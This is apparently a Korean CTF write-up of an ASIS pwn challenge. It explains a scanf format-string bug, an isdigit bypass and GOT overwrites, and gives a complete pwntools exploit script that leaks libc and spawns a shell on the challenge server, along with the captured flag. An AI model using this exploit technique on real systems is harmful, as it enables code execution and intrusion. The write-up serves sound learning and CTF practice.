Info (41/532) solves
description It seems that the app scans every incoming message and simply removes the rude and offending phrase before displaying the original message.
for player 1 2 3 4 5 6 7 8 9 . ├── bin │ └── chall ├── lib │ ├── ld-2.31.so │ └── libc.so.6 ├── run.sh └── src └── main.c
making patched chall libc와 ld가 주어졌으니 remote 환경과 동일하게 chall을 구성하기 위해 patch를 진행했다.
1 2 3 4 [jir4vvit@arch bin]$ ldd pchall linux-vdso.so.1 (0x00007ffc2bd90000) ./../lib/libc.so.6 (0x00007f46adf9f000) ./../lib/ld-2.31.so => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f46ae193000)
Analysis Mitigation 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
Source Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <ctype.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main () { char size[16 ], fmt[8 ], *buf; printf ("size: " ); scanf ("%15s" , size); if (!isdigit (*size)) { puts ("[-] Invalid number" ); exit (1 ); } buf = (char *)malloc (atoi(size) + 1 ); printf ("data: " ); snprintf (fmt, sizeof (fmt), "%%%ss" , size); scanf (fmt, buf); exit (0 ); } __attribute__((constructor)) void setup (void ) { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); alarm(180 ); }
baby scan 1
문제와 다른 점은 딱 하나다. size+1
크기를 스택이 아닌 힙에 할당한다. 따라서 baby scan 1
처럼 풀이를 진행한다면 힙 오버플로우가 나타나게 된다. 하지만 이 취약점만으론 익스가 불가능하다. free도 없고 단순히 힙 할당 한 번 가지고는 할 수 있는 게 없다. 힙 오버를 이용해서 다음 chunck의 size를 조절가능하지만 쓸모없다. 그래서 다른 취약점을 찾아야 한다. 이 과정에서 시간을 많이 허비해서 대회 시간 내에 풀지 못하였다.
Vulnerability 동작 과정을 살펴보면서 취약점을 찾아보자.
size에 15글자를 받는다. (16글자가 아니라 15글자다.. 이것 때문에 익스코드 작성할 때 초반에 삽질했다.) <–scanf
의 포맷스트링을 여기서 입력해야 한다.
size+1 만큼 힙 할당을 진행한다. <–사실상 신경안써도 된다.
snprintf
를 이용하여 힙 입력에 사용될 scanf
의 포맷스트링을 정의한다. <–포맷스트링을 어찌어찌 잘 정의해서
할당한 힙에 scanf
를 이용하여 입력을 진행한다. <–fsb를 트리거해서 원하는 위치에 원하는 값을 적을 수 있다.
어떻게 fsb를 트리거할 수 있을까? baby sacn 1
을 풀었던 것처럼 0
을 입력해서 스택을 살펴보며 생각해보자.
4번째 과정을 진행할 때 즉, scanf
를 이용하여 입력을 진행할 때 arguments는 아래와 같다.
1 2 3 4 5 __isoc99_scanf@plt ( $rdi = 0x007ffcdabcf878 → 0x00000000733025 ("%0s"?), $rsi = 0x0000000172a2a0 → 0x0000000000000000, $rdx = 0x0000000172a2a0 → 0x0000000000000000 )
첫 번째 인자에 주목해서 생각을 해보자. 우리는 포맷스트링을 마음대로 집어넣어서 입력할 수 있다. printf
함수에서 포맷스트링을 정의해주지 않고 우리의 입력값만 인자로 들어간다면 fsb를 이용해서 스택을 leak하거나 스택에 원하는 값을 넣을 수 있다.
scanf
에서도 똑같이 통하지 않을까? 키보드로부터 입력을 받는 함수니깐 출력은 하지 못하더라도 원하는 스택 주소에 원하는 값을 적을 수 있지 않을까?
size를 입력 받을 때 15글자를 입력할 수 있다.
1 2 3 4 5 6 7 8 9 10 11 gef> x/20gx $rsp 0x7ffcdabcf870: 0x00007fab4b8902e8 0x0000000000733025 0x7ffcdabcf880: 0x0000000000000030 0x0000000000401170 <-- [!] 0x7ffcdabcf890: 0x00007ffcdabcf990 0x000000000172a2a0 0x7ffcdabcf8a0: 0x0000000000000000 0x00007fab4b6c3083 0x7ffcdabcf8b0: 0x0000000100000018 0x00007ffcdabcf998 0x7ffcdabcf8c0: 0x000000014b8877a0 0x0000000000401256 0x7ffcdabcf8d0: 0x0000000000401390 0x03f4474d8e43ddf7 0x7ffcdabcf8e0: 0x0000000000401170 0x00007ffcdabcf990 0x7ffcdabcf8f0: 0x0000000000000000 0x0000000000000000 0x7ffcdabcf900: 0xfc0df2347f23ddf7 0xfca2d195ee2dddf7
size를 입력할 때 9번째 offset을 컨트롤할 수 있다. 현재는 0x401170
이 쓰여있는데, 이거 대신 원하는 got 넣을 수 있다면?
자자, 취약점을 트리거 하기 위해서 우리가 알고 있는 정보 를 정리해보자.
scanf(fmt, buf)
에서 fsb를 트리거할 수 있을 것만 같다.
9번째 offset에 입력할 수 있다. 언제? scanf("%15s", size)
에서.
fmt
는 %<인풋>s
이다.
=> data
를 입력할 때 scanf("%9$s", buf)
가 되어 원하는 주소에 원하는 값을 쓸 수 있을 것이다. got overwriting이 가능할 것이다.
Exploit 익스를 위해 ida에서도 살펴보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char fmt[8 ]; char nptr[24 ]; void *v6; printf ("size: " ); __isoc99_scanf("%15s" , nptr); if ( ((*__ctype_b_loc())[nptr[0 ]] & 0x800 ) == 0 ) { puts ("[-] Invalid number" ); exit (1 ); } v3 = atoi(nptr); v6 = malloc (v3 + 1 ); printf ("data: " ); snprintf (fmt, 8uLL , "%%%ss" , nptr); __isoc99_scanf(fmt, v6); exit (0 ); }
우리는 현재 특정 함수의 got를 덮을 수 있는데, atoi
함수가 정말정말 너무너무 이것저것하기에 적당해 보인다. (인자를 하나만 받아서..)
leak 처음에 leak할 때 atoi@got
를 puts
로 덮어서 릭하려고 했었다. 매우매우매우매우매우 바보같은 생각이었다. leak하고 싶은 주소를 넣어주면 고대로 출력해준다. (…)
leak할 때도 fsb를 이용해야 한다. 그래서 atoi@got
을 printf
로 덮고, ntpr
에 포맷스트링을 넣어줘야 한다.
isdigit()
bypassprototype은 아래와 같다.
parameter로는 char
가 들어가야 한다. ‘0’ ~ ‘9’ 의 값만 들어갈 수 있는데, 이 문제에서서는 15글자를 인자로 줄 수 있다. 따라서 0<입력>
이런식으로 첫 글자에 숫자 하나를 주고 뒤에 원하는 문자들을 써서 이 검사를 우회할 수 있다.
Exploit Scenario
exit@got
를 main
주소로 덮어 무한히 실행되게 하기
atoi@got
를 printf
주소로 덮어 leak할 수 있게 구성하기
0%29$p
를 보내서 __libc_start_main - 243
leak
system
실제 주소를 구한 후 atoi@got
을 덮기
마지막으로 0;sh
를 보내 shell 획득
Exploit Code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level = 'DEBUG' p = remote('65.21.255.31' , 33710 ) e = ELF('./pchall' ) libc = ELF('./../lib/libc.so.6' ) payload = b'9$' .ljust(8 , b'\x00' ) + p64(e.got['exit' ])[:-1 ] p.sendlineafter('size:' , payload) payload = p64(e.symbols['main' ])[0 :7 ] p.sendlineafter('data:' , payload) payload = b'9$' .ljust(8 , b'\x00' ) + p64(e.got['atoi' ])[:-1 ] p.sendlineafter('size:' , payload) payload = p64(e.symbols['printf' ])[0 :7 ] p.sendlineafter('data:' , payload) payload = b'0%29$p' p.sendlineafter('size:' , payload) p.recvuntil(b'00x' ) leak = int (b'0x' + p.recv(12 ),16 ) log.info(hex (leak)) libc_base = leak - libc.symbols['__libc_start_main' ] - 243 log.info(hex (libc_base)) p.sendlineafter('data:' , b'A' ) payload = b'9$' .ljust(8 , b'\x00' ) + p64(e.got['atoi' ])[:-1 ] p.sendlineafter('size:' , payload) payload = p64(libc_base + libc.symbols['system' ])[0 :7 ] p.sendlineafter('data:' , payload) p.sendlineafter('size:' , '0;sh\x00' ) p.interactive()
data
보낼 때 [0:7]
로 자른 이유?scanf
함수는 입력할 때 마지막에 Null byte를 삽입한다.p64()
로 패킹해서 보내게 되면 8바이트를 전송하게 된다. 이때 scanf
로 입력을 받았기 때문에 마지막에 Null byte가 추가되어 _ctype_b_loc@got.plt
를 더럽혀버렸다.
1 2 3 4 5 6 gef> x/2gx 0x0000000000404058 0x404058 <exit@got.plt>: 0x0000000000401256 0x00007fba7666d400 gef> x/gx 0x0000000000404058 + 0x8 0x404060 <__ctype_b_loc@got.plt>: 0x00007fba7666d400 gef> x/gx 0x00007fba7666d400 0x7fba7666d400 <isspace_l+16>: 0x66c3c0b70f200025
아래가 올바른 경우이다.
1 2 3 4 5 6 gef> x/2gx 0x0000000000404058 0x404058 <exit@got.plt>: 0x0000000000401256 0x00007fdc030534a0 gef> x/gx 0x0000000000404058 + 0x8 0x404060 <__ctype_b_loc@got.plt>: 0x00007fdc030534a0 gef> x/gx 0x00007fdc030534a0 0x7fdc030534a0 <__ctype_b_loc>: 0x5d058b48fa1e0ff3
Flag 1 ASIS{fd408e00d5824d7220c4d624f894144e}